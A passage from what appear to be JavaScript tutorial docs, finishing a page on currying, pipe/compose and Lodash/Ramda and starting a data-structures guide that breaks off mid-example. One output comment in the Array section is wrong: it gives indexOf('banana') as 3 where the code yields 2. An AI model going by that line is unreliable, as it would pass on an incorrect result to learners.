[Ramda](https://ramdajs.com/) are popular because they provide battle-tested implementations of currying, composition, and many other utilities. ### Why Use a Library? Libraries offer features our simple implementations lack: ```javascript import _ from 'lodash' // 1. Placeholder support const greet = _.curry((greeting, name) => `${greeting}, ${name}!`) greet(_.__, 'Alice')('Hello') // "Hello, Alice!" // The __ placeholder lets you skip arguments // 2. Works with variadic functions const sum = _.curry((...nums) => nums.reduce((a, b) => a + b, 0), 3) sum(1)(2)(3) // 6 // 3. Auto-curried utility functions _.map(x => x * 2)([1, 2, 3]) // [2, 4, 6] // Lodash/fp provides auto-curried, data-last versions ``` ### Ramda: Built for Composition [Ramda](https://ramdajs.com/) is designed from the ground up for functional programming: ```javascript import * as R from 'ramda' // All functions are auto-curried R.add(1)(2) // 3 R.add(1, 2) // 3 // Data-last by default R.map(x => x * 2, [1, 2, 3]) // [2, 4, 6] R.map(x => x * 2)([1, 2, 3]) // [2, 4, 6] // Built-in compose and pipe const processUser = R.pipe( R.prop('name'), R.trim, R.toLower ) processUser({ name: ' ALICE ' }) // 'alice' ``` ### Lodash/fp: Functional Lodash Lodash provides a functional programming variant: ```javascript import fp from 'lodash/fp' // Auto-curried, data-last const getAdultNames = fp.pipe( fp.filter(user => user.age >= 18), fp.map(fp.get('name')), fp.sortBy(fp.identity) ) const users = [ { name: 'Charlie', age: 25 }, { name: 'Alice', age: 17 }, { name: 'Bob', age: 30 } ] getAdultNames(users) // ['Bob', 'Charlie'] ``` ### Vanilla JavaScript Alternatives You don't always need a library. Here are vanilla implementations for common patterns: ```javascript // Curry const curry = fn => { return function curried(...args) { return args.length >= fn.length ? fn(...args) : (...next) => curried(...args, ...next) } } // Pipe and Compose const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x) // Partial Application const partial = (fn, ...presetArgs) => (...laterArgs) => fn(...presetArgs, ...laterArgs) // Data-last map and filter const map = fn => arr => arr.map(fn) const filter = fn => arr => arr.filter(fn) const reduce = (fn, initial) => arr => arr.reduce(fn, initial) ``` ### When to Use What? | Situation | Recommendation | |-----------|----------------| | Learning/small project | Vanilla JS implementations | | Already using Lodash | Use `lodash/fp` for functional code | | Heavy functional programming | Consider Ramda | | Bundle size matters | Vanilla JS or tree-shakeable imports | | Team familiarity | Match existing codebase patterns | --- ## Common Currying Mistakes ### Mistake #1: Forgetting Curried Functions Return Functions ```javascript const add = a => b => a + b // ❌ Wrong: Forgot the second call const result = add(1) console.log(result) // [Function] - not a number! // ✓ Correct const result = add(1)(2) console.log(result) // 3 ``` ### Mistake #2: Wrong Argument Order For composition to work, data should come last: ```javascript // ❌ Data-first: hard to compose const multiply = (value, factor) => value * factor // ✓ Data-last: composes well const multiply = factor => value => value * factor const double = multiply(2) const triple = multiply(3) pipe(double, triple)(5) // 30 ``` ### Mistake #3: Currying Functions with Rest Parameters ```javascript function sum(...nums) { return nums.reduce((a, b) => a + b, 0) } console.log(sum.length) // 0 - rest parameters have length 0! // Our curry won't work correctly const curriedSum = curry(sum) curriedSum(1)(2)(3) // Calls immediately with just 1! ``` **Solution:** Specify arity explicitly: ```javascript const curryN = (fn, arity) => { return function curried(...args) { return args.length >= arity ? fn(...args) : (...next) => curried(...args, ...next) } } const curriedSum = curryN(sum, 3) curriedSum(1)(2)(3) // 6 ``` --- ## Common Composition Mistakes ### Mistake #1: Type Mismatches in Pipeline Each function's output must match the next function's expected input: ```javascript const getName = obj => obj.name // Returns string const getLength = arr => arr.length // Expects array! // ❌ Broken pipeline const broken = pipe(getName, getLength) broken({ name: 'Alice' }) // 5 (works by accident - string has .length) // But what if getName returns something without .length? const getAge = obj => obj.age // Returns number const getLength = arr => arr.length const reallyBroken = pipe(getAge, getLength) reallyBroken({ age: 25 }) // undefined - numbers don't have .length ``` ### Mistake #2: Side Effects in Pipelines Composed functions should be [pure](/concepts/pure-functions). Side effects make pipelines unpredictable: ```javascript // ❌ Side effect in pipeline let globalCounter = 0 const addAndCount = x => { globalCounter++ // Side effect! return x + 1 } // This is unpredictable - depends on global state const process = pipe(addAndCount, addAndCount) ``` ### Mistake #3: Over-Composing Sometimes explicit code is clearer than a point-free pipeline: ```javascript // ❌ Too clever - hard to understand const processUser = pipe( prop('account'), prop('settings'), prop('preferences'), prop('theme'), defaultTo('light'), eq('dark'), ifElse(identity, always('🌙'), always('☀️')) ) // ✓ Clearer function getThemeEmoji(user) { const theme = user?.account?.settings?.preferences?.theme ?? 'light' return theme === 'dark' ? '🌙' : '☀️' } ``` <Tip> **Rule of thumb:** Use composition when it makes code clearer, not just shorter. If a colleague would struggle to understand your pipeline, consider a more explicit approach. </Tip> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Currying transforms `f(a, b, c)` into `f(a)(b)(c)`** — each call takes one argument and returns a function waiting for the next 2. **Currying depends on closures** — each nested function "closes over" arguments from parent functions, remembering them 3. **Currying ≠ Partial Application** — currying always produces unary functions; partial application fixes some args and takes the rest together 4. **Function composition combines simple functions into complex ones** — output of one becomes input of the next 5. **`pipe()` flows left-to-right, `compose()` flows right-to-left** — most developers prefer pipe because it reads in execution order 6. **Currying enables composition** — curried functions take one input and return one output, perfect for chaining 7. **"Data-last" ordering is essential** — put the data parameter last so curried functions compose naturally 8. **Point-free style focuses on transformations** — no explicit data parameters, just a chain of operations 9. **Libraries like Lodash/Ramda add powerful features** — placeholders, auto-currying, and battle-tested utilities 10. **Vanilla JS implementations work for most cases** — `curry`, `pipe`, and `compose` are just a few lines each </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between currying and partial application?"> **Answer:** **Currying** transforms a function so that it takes arguments one at a time, returning a new function after each argument until all are received. **Partial application** fixes some arguments upfront and returns a function that takes the remaining arguments together. ```javascript // Currying: one argument at a time const curriedAdd = a => b => c => a + b + c curriedAdd(1)(2)(3) // 6 // Partial application: fix some args, take rest together const add = (a, b, c) => a + b + c const partial = (fn, ...preset) => (...rest) => fn(...preset, ...rest) const add1 = partial(add, 1) add1(2, 3) // 6 - takes remaining args at once ``` </Accordion> <Accordion title="Question 2: Implement a simple curry function"> **Answer:** ```javascript function curry(fn) { return function curried(...args) { if (args.length >= fn.length) { return fn(...args) } return (...nextArgs) => curried(...args, ...nextArgs) } } // Usage const add = (a, b, c) => a + b + c const curriedAdd = curry(add) curriedAdd(1)(2)(3) // 6 curriedAdd(1, 2)(3) // 6 curriedAdd(1)(2, 3) // 6 curriedAdd(1, 2, 3) // 6 ``` </Accordion> <Accordion title="Question 3: What's the difference between compose() and pipe()?"> **Answer:** Both combine functions, but in opposite directions: - **`pipe(f, g, h)(x)`** — Left to right: `h(g(f(x)))` - **`compose(f, g, h)(x)`** — Right to left: `f(g(h(x)))` ```javascript const add1 = x => x + 1 const double = x => x * 2 const square = x => x * x // pipe: add1 first, then double, then square pipe(add1, double, square)(3) // ((3+1)*2)² = 64 // compose: square first, then double, then add1 compose(add1, double, square)(3) // (3²*2)+1 = 19 ``` Most developers prefer `pipe` because functions are listed in execution order. </Accordion> <Accordion title="Question 4: Why do currying and composition work well together?"> **Answer:** Composition works best with functions that take one input and return one output. Currying transforms multi-argument functions into chains of single-argument functions, making them perfect for composition. ```javascript // Without currying - can't compose const add = (a, b) => a + b const multiply = (a, b) => a * b // How would you pipe these? // With currying - composes naturally const add = a => b => a + b const multiply = a => b => a * b const add5 = add(5) const double = multiply(2) const add5ThenDouble = pipe(add5, double) add5ThenDouble(10) // 30 ``` The key is "data-last" ordering: configure the function first, pass data last. </Accordion> <Accordion title="Question 5: Implement sum(1)(2)(3)...(n)() that returns the total"> **Answer:** This is a classic interview question. The trick is to return a function that can be called with more arguments OR returns the sum when called with no arguments: ```javascript function sum(a) { return function next(b) { if (b === undefined) { return a // No more arguments, return sum } return sum(a + b) // More arguments, keep accumulating } } sum(1)(2)(3)() // 6 sum(1)(2)(3)(4)(5)() // 15 sum(10)() // 10 ``` Alternative using `valueOf` for implicit conversion: ```javascript function sum(a) { const fn = b => sum(a + b) fn.valueOf = () => a return fn } +sum(1)(2)(3) // 6 (unary + triggers valueOf) ``` </Accordion> <Accordion title="Question 6: What is 'point-free' style?"> **Answer:** Point-free style (also called "tacit programming") is writing functions without explicitly mentioning their arguments. Instead of defining what to do with data, you compose operations. ```javascript // Pointed style (explicit argument) const getUpperName = user => user.name.toUpperCase() // Point-free style (no explicit argument) const getUpperName = pipe( prop('name'), toUpperCase ) // Another example // Pointed: const doubleAll = numbers => numbers.map(x => x * 2) // Point-free: const doubleAll = map(x => x * 2) ``` Point-free code focuses on the transformations rather than the data being transformed. It's often more declarative and can be easier to reason about, but can also be harder to read if overused. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is currying in JavaScript?"> Currying transforms a function that takes multiple arguments into a sequence of functions, each taking a single argument. Instead of `f(a, b, c)`, you call `f(a)(b)(c)`. Each call returns a new function until all arguments are provided. This pattern relies on [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to remember previously supplied arguments. </Accordion> <Accordion title="What is the difference between currying and partial application?"> Currying always produces a chain of unary (single-argument) functions. Partial application fixes some arguments of a function and returns a new function that takes the remaining ones — it can fix multiple arguments at once. For example, `bind()` in JavaScript performs partial application, not currying. </Accordion> <Accordion title="What is function composition in JavaScript?"> Function composition combines two or more functions so the output of one becomes the input of the next. A `compose(f, g)` call creates a new function where `f(g(x))` is evaluated right-to-left. The `pipe()` variant runs left-to-right, which many developers find more readable. </Accordion> <Accordion title="What is the difference between compose and pipe?"> Both combine functions into a pipeline. `compose()` evaluates right-to-left: `compose(f, g, h)(x)` equals `f(g(h(x)))`. `pipe()` evaluates left-to-right: `pipe(h, g, f)(x)` equals `f(g(h(x)))`. The result is identical — only the argument order differs. Most developers prefer `pipe()` because it matches the natural reading direction. </Accordion> <Accordion title="When should I use currying in real projects?"> Currying shines when you frequently reuse functions with some arguments fixed — for example, loggers with preset levels, API calls with preset base URLs, or validators with preset rules. Libraries like Lodash and Ramda use currying extensively. If you rarely reuse partially applied functions, currying adds unnecessary complexity. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> Currying depends on closures to remember arguments between calls </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Functions that return functions are the foundation of currying </Card> <Card title="Pure Functions" icon="sparkles" href="/concepts/pure-functions"> Composed pipelines work best with pure, side-effect-free functions </Card> <Card title="Map, Reduce, Filter" icon="filter" href="/concepts/map-reduce-filter"> Array methods that compose beautifully when curried </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Functions — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions"> Complete guide to JavaScript functions, the building blocks of currying and composition </Card> <Card title="Closures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures"> Understanding closures is essential for understanding how currying preserves arguments </Card> <Card title="Array.prototype.reduce() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce"> The reduce method powers our compose and pipe implementations </Card> <Card title="Array.prototype.reduceRight() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight"> Used in compose to process functions from right to left </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Currying — javascript.info" icon="newspaper" href="https://javascript.info/currying-partials"> The definitive tutorial on currying with clear examples and an advanced curry implementation. Includes a practical logging example that shows real-world benefits. </Card> <Card title="A Quick Introduction to pipe() and compose()" icon="newspaper" href="https://www.freecodecamp.org/news/pipe-and-compose-in-javascript-5b04004ac937/"> Step-by-step debugger walkthrough showing exactly how pipe and compose work internally. The visual traces make the concept click. </Card> <Card title="Curry and Function Composition — Eric Elliott" icon="newspaper" href="https://medium.com/javascript-scene/curry-and-function-composition-2c208d774983"> Part of the "Composing Software" series. Comprehensive coverage of how currying enables composition, with trace utilities for debugging pipelines. </Card> <Card title="Functional-Light JavaScript: Chapter 3 — Kyle Simpson" icon="newspaper" href="https://github.com/getify/Functional-Light-JS/blob/master/manuscript/ch3.md"> Free online chapter covering function inputs, currying, and partial application in depth. Kyle Simpson explains the nuances between currying and partial application better than almost anyone. </Card> <Card title="Composing Software: The Book — Eric Elliott" icon="newspaper" href="https://medium.com/javascript-scene/composing-software-the-book-f31c77fc3ddc"> Index to the complete "Composing Software" series covering functional programming, composition, functors, and more in JavaScript. </Card> <Card title="A Gentle Introduction to Functional JavaScript — James Sinclair" icon="newspaper" href="https://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-functions/"> Covers practical functional JavaScript patterns including currying and composition with approachable explanations. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Currying — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=iZLP4qOwY8I"> Mattias Petter Johansson's entertaining explanation of currying as part of his beloved functional programming series. Great for visual learners. </Card> <Card title="Compose and Pipe — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=yd2FZ1kP5wE"> Kyle Cook's clear, beginner-friendly walkthrough of compose and pipe with practical examples you can follow along with. </Card> <Card title="Learning Functional Programming with JavaScript — Anjana Vakil" icon="video" href="https://www.youtube.com/watch?v=e-5obm1G_FY"> A beloved JSUnconf talk that explains functional programming concepts with clarity and humor. Anjana's approachable style makes abstract concepts feel tangible. </Card> </CardGroup> ================================================ FILE: docs/concepts/data-structures.mdx ================================================ --- title: "Data Structures" sidebarTitle: "Data Structures: Organizing and Storing Data" description: "Learn JavaScript data structures: Arrays, Objects, Maps, Sets, Stacks, Queues, and Linked Lists. Know when to use each one." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "data structures, arrays, objects, maps, sets, stacks, queues, linked lists" --- Why does finding an item in an array take longer as it grows? Why can you look up an object property instantly regardless of how many properties it has? The answer lies in **data structures**. ```javascript // Array: searching gets slower as the array grows const users = ['alice', 'bob', 'charlie', /* ...thousands more */] users.includes('zara') // Has to check every element - O(n) // Object: lookup is instant regardless of size const userMap = { alice: 1, bob: 2, charlie: 3, /* ...thousands more */ } userMap['zara'] // Direct access - O(1) ``` A **data structure** is a way of organizing data so it can be used efficiently. As Donald Knuth emphasizes in *The Art of Computer Programming*, the choice of data structure often matters more than the choice of algorithm. The right structure makes your code faster and cleaner. The wrong one can make simple operations painfully slow. <Info> **What you'll learn in this guide:** - JavaScript's built-in structures: Array, Object, Map, Set, WeakMap, WeakSet - When to use each built-in structure - How to implement: Stack, Queue, Linked List, Binary Search Tree - Choosing the right data structure for the job - Common interview questions and patterns </Info> <Warning> **Prerequisites:** This guide shows time complexity (like O(1) and O(n)) for operations. If you're not familiar with Big O notation, check out our [Algorithms & Big O guide](/concepts/algorithms-big-o) first. We also use [classes](/concepts/factories-classes) for implementations. </Warning> --- ## What Are Data Structures? Think of data structures like different ways to organize a library. You could: - **Stack books on a table** — Easy to add/remove from the top, but finding a specific book means digging through the pile - **Line them up on a shelf** — Easy to browse in order, but adding a book in the middle means shifting everything - **Organize by category with an index** — Finding any book is fast, but you need to maintain the index ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DATA STRUCTURE TRADE-OFFS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ARRAY OBJECT/MAP LINKED LIST │ │ ┌─┬─┬─┬─┬─┐ ┌────────────┐ ┌───┐ ┌───┐ │ │ │0│1│2│3│4│ │ key: value │ │ A │──►│ B │──► │ │ └─┴─┴─┴─┴─┘ │ key: value │ └───┘ └───┘ │ │ └────────────┘ │ │ ✓ Fast index access ✓ Fast key lookup ✓ Fast insert/delete │ │ ✓ Ordered ✓ Flexible keys ✗ Slow search │ │ ✗ Slow insert in middle ✗ No order (Object) ✗ No index access │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Every data structure has trade-offs. Your job is to pick the one that makes your most frequent operations fast. --- ## JavaScript's Built-in Data Structures JavaScript gives you several data structures out of the box. Let's look at each one. ### Arrays An **[Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)** is an ordered collection of values, accessed by numeric index. It's the most common data structure in JavaScript. ```javascript const fruits = ['apple', 'banana', 'cherry'] // Access by index - O(1) fruits[0] // 'apple' // Add to end - O(1) fruits.push('date') // ['apple', 'banana', 'cherry', 'date'] // Remove from end - O(1) fruits.pop() // 'date' // Add to beginning - O(n) - shifts all elements! fruits.unshift('apricot') // ['apricot', 'apple', 'banana', 'cherry'] // Search - O(n) fruits.indexOf('banana') // 3 fruits.includes('mango') // false ``` **Time Complexity:** | Operation | Method | Complexity | Why | |-----------|--------|------------|-----| | Access by index | `arr[i]` | O(1) | Direct memory access | | Add/remove at end | `push()`, `pop()` | O(1) | No shifting needed | | Add/remove at start | `unshift()`, `shift()` | O(n) | Must shift all elements | | Search | `indexOf()`, `includes()` | O(n) | Must check each element | | Insert in middle | `splice()` | O(n) | Must shift elements after | **When to use Arrays:** - You need ordered data - You access elements by position - You mostly add/remove from the end - You need to iterate over all elements --- ### Objects An **[Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)** stores key-value pairs where keys are strings or Symbols. It's JavaScript's fundamental way to group related data. ```javascript const user = { name: 'Alice', age: 30, email: 'alice@example.com' } // Access - O(1) user.name // 'Alice' user['age'] // 30 // Add/Update - O(1) user.role = 'admin' // Delete - O(1) delete user.email // Check if key exists - O(1) 'name' in user // true user.hasOwnProperty('name') // true ``` **Limitations of Objects:** - Keys are converted to strings (numbers become "1", "2", etc.) - Objects have a prototype chain (inherited properties) - No built-in `.size` property - As defined in the [ECMAScript specification](https://tc39.es/ecma262/#sec-ordinaryownpropertykeys), property order is preserved in ES2015+, but with specific rules: integer keys are sorted numerically first, then string keys appear in insertion order **When to use Objects:** - Storing entity data (user profiles, settings) - When keys are known strings - Configuration objects - JSON data --- ### Map A **[Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)** is like an Object but with superpowers: keys can be *any* type, it maintains insertion order, and has a `.size` property. ```javascript const map = new Map() // Keys can be ANY type map.set('string', 'works') map.set(123, 'number key') map.set({ id: 1 }, 'object key') map.set(true, 'boolean key') // Access - O(1) map.get('string') // 'works' map.get(123) // 'number key' // Size is built-in map.size // 4 // Check existence - O(1) map.has('string') // true // Delete - O(1) map.delete(123) // Iteration (maintains insertion order) for (const [key, value] of map) { console.log(key, value) } ``` **Map vs Object:** | Feature | Map | Object | |---------|-----|--------| | Key types | Any | String or Symbol | | Order | Guaranteed insertion order | Preserved (integer keys sorted first) | | Size | `map.size` | `Object.keys(obj).length` | | Iteration | Directly iterable | Need `Object.keys()` | | Performance | Better for frequent add/delete | Better for static data | | Prototype | None | Has prototype chain | **When to use Map:** - Keys aren't strings (objects, functions, etc.) - You need to know the size frequently - You add/delete keys often - Order matters ```javascript // Common use: counting occurrences function countWords(text) { const words = text.toLowerCase().split(/\s+/) const counts = new Map() for (const word of words) { counts.set(word, (counts.get(word) || 0) + 1) } return counts } countWords('the cat and the dog') // Map { 'the' => 2, 'cat' => 1, 'and' => 1, 'dog' => 1 } ``` --- ### Set A **[Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)** stores unique values. Duplicates are automatically ignored. ```javascript const set = new Set() // Add values - O(1) set.add(1) set.add(2) set.add(2) // Ignored - already exists set.add('hello') set.size // 3 (not 4!) // Check existence - O(1) set.has(2) // true // Delete - O(1) set.delete(1) // Iteration for (const value of set) { console.log(value) } ``` **The classic use case: removing duplicates** ```javascript const numbers = [1, 2, 2, 3, 3, 3, 4] const unique = [...new Set(numbers)] // [1, 2, 3, 4] ``` **Set Operations (ES2024+):** <Note> These methods are part of ES2024 and are supported in all modern browsers as of late 2024. Check [browser compatibility](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set#browser_compatibility) if you need to support older browsers. </Note> ```javascript const a = new Set([1, 2, 3]) const b = new Set([2, 3, 4]) // Union: elements in either set a.union(b) // Set {1, 2, 3, 4} // Intersection: elements in both sets a.intersection(b) // Set {2, 3} // Difference: elements in a but not in b a.difference(b) // Set {1} // Symmetric difference: elements in either but not both a.symmetricDifference(b) // Set {1, 4} // Subset check new Set([1, 2]).isSubsetOf(a) // true ``` **When to use Set:** - You need unique values - You check "does this exist?" frequently - Removing duplicates from arrays - Tracking visited items --- ### WeakMap and WeakSet <Accordion title="WeakMap and WeakSet (Advanced)"> **[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)** and **[WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)** are special versions where keys (WeakMap) or values (WeakSet) are held "weakly." This means they don't prevent garbage collection. **WeakMap:** - Keys must be objects (or non-registered symbols) - If the key object has no other references, it gets garbage collected - Not iterable (no `.keys()`, `.values()`, `.forEach()`) - No `.size` property ```javascript const privateData = new WeakMap() class User { constructor(name, password) { this.name = name // Store private data that can't be accessed externally privateData.set(this, { password }) } checkPassword(input) { return privateData.get(this).password === input } } const user = new User('Alice', 'secret123') user.name // 'Alice' user.password // undefined - it's private! user.checkPassword('secret123') // true // When 'user' is garbage collected, the private data is too ``` **WeakSet:** - Values must be objects - Useful for tracking which objects have been processed ```javascript const processed = new WeakSet() function processOnce(obj) { if (processed.has(obj)) { return // Already processed } processed.add(obj) // Do expensive processing... } ``` **When to use Weak versions:** - Caching computed data for objects - Storing private instance data - Tracking objects without preventing garbage collection </Accordion> --- ## Implementing Common Data Structures JavaScript doesn't have built-in Stack, Queue, or Linked List classes, but they're easy to implement and important to understand. ### Stack (LIFO) A **Stack** follows Last-In-First-Out: the last item added is the first removed. Think of a stack of plates. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ STACK (LIFO) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ push(4) pop() │ │ │ │ │ │ ▼ ▼ │ │ ┌───┐ ┌───┐ │ │ │ 4 │ ◄─ top │ │ │ │ ├───┤ ├───┤ │ │ │ 3 │ │ 3 │ ◄─ top │ │ ├───┤ ├───┤ │ │ │ 2 │ │ 2 │ │ │ ├───┤ ├───┤ │ │ │ 1 │ │ 1 │ │ │ └───┘ └───┘ │ │ │ │ "Last in, first out" - like a stack of plates │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Real-world uses:** - Browser history (back button) - Undo/redo functionality - Function call stack - Expression evaluation (parentheses matching) **Implementation:** ```javascript class Stack { constructor() { this.items = [] } push(item) { this.items.push(item) } pop() { return this.items.pop() } peek() { return this.items[this.items.length - 1] } isEmpty() { return this.items.length === 0 } size() { return this.items.length } } // Usage const stack = new Stack() stack.push(1) stack.push(2) stack.push(3) stack.peek() // 3 (look at top without removing) stack.pop() // 3 stack.pop() // 2 stack.size() // 1 ``` **Time Complexity:** All operations are O(1). --- ### Queue (FIFO) A **Queue** follows First-In-First-Out: the first item added is the first removed. Think of a line at a store. According to the [Stack Overflow Developer Survey 2023](https://survey.stackoverflow.co/2023/), queues and other fundamental data structures remain among the most commonly tested topics in technical interviews. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ QUEUE (FIFO) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ enqueue(4) dequeue() │ │ │ │ │ │ ▼ ▼ │ │ ┌───┬───┬───┬───┐ ┌───┬───┬───┐ │ │ │ 4 │ 3 │ 2 │ 1 │ ───────────────────────► │ 4 │ 3 │ 2 │ │ │ └───┴───┴───┴───┘ └───┴───┴───┘ │ │ back front back front │ │ │ │ "First in, first out" - like a line at a store │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Real-world uses:** - Task scheduling - Print queue - BFS graph traversal - Message queues **Implementation:** ```javascript class Queue { constructor() { this.items = [] } enqueue(item) { this.items.push(item) } dequeue() { return this.items.shift() // Note: O(n) with arrays! } front() { return this.items[0] } isEmpty() { return this.items.length === 0 } size() { return this.items.length } } // Usage const queue = new Queue() queue.enqueue('first') queue.enqueue('second') queue.enqueue('third') queue.dequeue() // 'first' queue.front() // 'second' ``` <Warning> **Performance note:** Using `shift()` on an array is O(n) because all remaining elements must be re-indexed. For performance-critical code, use a linked list implementation or an object with head/tail pointers. </Warning> --- ### Linked List A **Linked List** is a chain of nodes where each node points to the next. Unlike arrays, elements aren't stored in contiguous memory. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ LINKED LIST │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ head tail │ │ │ │ │ │ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ value: 1 │ │ value: 2 │ │ value: 3 │ │ value: 4 │ │ │ │ next: ───────► │ next: ───────► │ next: ───────► │ next: null│ │ │ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ Nodes can be anywhere in memory - connected by references │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Linked List vs Array:** | Operation | Array | Linked List | |-----------|-------|-------------| | Access by index | O(1) | O(n) | | Insert at beginning | O(n) | O(1) | | Insert at end | O(1) | O(1) with tail pointer | | Insert in middle | O(n) | O(1) if you have the node | | Search | O(n) | O(n) | **Implementation:** ```javascript class Node { constructor(value) { this.value = value this.next = null } } class LinkedList { constructor() { this.head = null this.size = 0 } // Add to beginning - O(1) prepend(value) { const node = new Node(value) node.next = this.head this.head = node this.size++ } // Add to end - O(n) append(value) { const node = new Node(value) if (!this.head) { this.head = node } else { let current = this.head while (current.next) { current = current.next } current.next = node } this.size++ } // Find a value - O(n) find(value) { let current = this.head while (current) { if (current.value === value) { return current } current = current.next } return null } // Convert to array for easy viewing toArray() { const result = [] let current = this.head while (current) { result.push(current.value) current = current.next } return result } } // Usage const list = new LinkedList() list.prepend(1) list.append(2) list.append(3) list.prepend(0) list.toArray() // [0, 1, 2, 3] list.find(2) // Node { value: 2, next: Node } ``` **When to use Linked Lists:** - Frequent insertions/deletions at the beginning - You don't need random access by index - Implementing queues (for O(1) dequeue) --- ### Binary Search Tree A **Binary Search Tree (BST)** is a hierarchical structure where each node has at most two children. The left child is smaller, the right child is larger. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ BINARY SEARCH TREE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────┐ │ │ │ 10 │ ◄─ root │ │ └────┘ │ │ / \ │ │ ┌────┐ ┌────┐ │ │ │ 5 │ │ 15 │ │ │ └────┘ └────┘ │ │ / \ \ │ │ ┌────┐ ┌────┐ ┌────┐ │ │ │ 3 │ │ 7 │ │ 20 │ │ │ └────┘ └────┘ └────┘ │ │ │ │ Rule: left child < parent < right child │ │ This makes searching fast: just go left or right! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Time Complexity:** | Operation | Average | Worst (unbalanced) | |-----------|---------|-------------------| | Search | O(log n) | O(n) | | Insert | O(log n) | O(n) | | Delete | O(log n) | O(n) | **Implementation:** ```javascript class TreeNode { constructor(value) { this.value = value this.left = null this.right = null } } class BinarySearchTree { constructor() { this.root = null } insert(value) { const node = new TreeNode(value) if (!this.root) { this.root = node return } let current = this.root while (true) { if (value < current.value) { // Go left if (!current.left) { current.left = node return } current = current.left } else { // Go right if (!current.right) { current.right = node return } current = current.right } } } search(value) { let current = this.root while (current) { if (value === current.value) { return current } current = value < current.value ? current.left : current.right } return null } // In-order traversal: left, root, right (gives sorted order) inOrder(node = this.root, result = []) { if (node) { this.inOrder(node.left, result) result.push(node.value) this.inOrder(node.right, result) } return result } } // Usage const bst = new BinarySearchTree() bst.insert(10) bst.insert(5) bst.insert(15) bst.insert(3) bst.insert(7) bst.insert(20) bst.search(7) // TreeNode { value: 7, ... } bst.search(100) // null bst.inOrder() // [3, 5, 7, 10, 15, 20] - sorted! ``` **When to use BST:** - You need fast search, insert, and delete (O(log n) average) - Data needs to stay sorted - Implementing autocomplete, spell checkers --- ### Graph <Accordion title="Graph (Brief Overview)"> A **Graph** consists of nodes (vertices) connected by edges. Think social networks (people connected by friendships) or maps (cities connected by roads). ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ GRAPH │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ A ─────── B │ │ /│\ │ │ │ / │ \ │ │ │ / │ \ │ │ │ C │ D ────┘ │ │ \ │ / │ │ \ │ / │ │ \│/ │ │ E │ │ │ │ Adjacency List representation: │ │ A: [B, C, D, E] │ │ B: [A, D] │ │ C: [A, E] │ │ ... │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Basic Implementation (Adjacency List):** ```javascript class Graph { constructor() { this.adjacencyList = new Map() } addVertex(vertex) { if (!this.adjacencyList.has(vertex)) { this.adjacencyList.set(vertex, []) } } addEdge(v1, v2) { this.adjacencyList.get(v1).push(v2) this.adjacencyList.get(v2).push(v1) // For undirected graph } // Breadth-First Search - uses Queue (FIFO) bfs(start) { const visited = new Set() const queue = [start] const result = [] while (queue.length) { const vertex = queue.shift() if (visited.has(vertex)) continue visited.add(vertex) result.push(vertex) for (const neighbor of this.adjacencyList.get(vertex)) { if (!visited.has(neighbor)) { queue.push(neighbor) } } } return result } // Depth-First Search - uses Stack (LIFO) via recursion dfs(start, visited = new Set(), result = []) { if (visited.has(start)) return result visited.add(start) result.push(start) for (const neighbor of this.adjacencyList.get(start)) { this.dfs(neighbor, visited, result) } return result } } // Usage const graph = new Graph() graph.addVertex('A') graph.addVertex('B') graph.addVertex('C') graph.addEdge('A', 'B') graph.addEdge('A', 'C') graph.addEdge('B', 'C') graph.bfs('A') // ['A', 'B', 'C'] - level by level graph.dfs('A') // ['A', 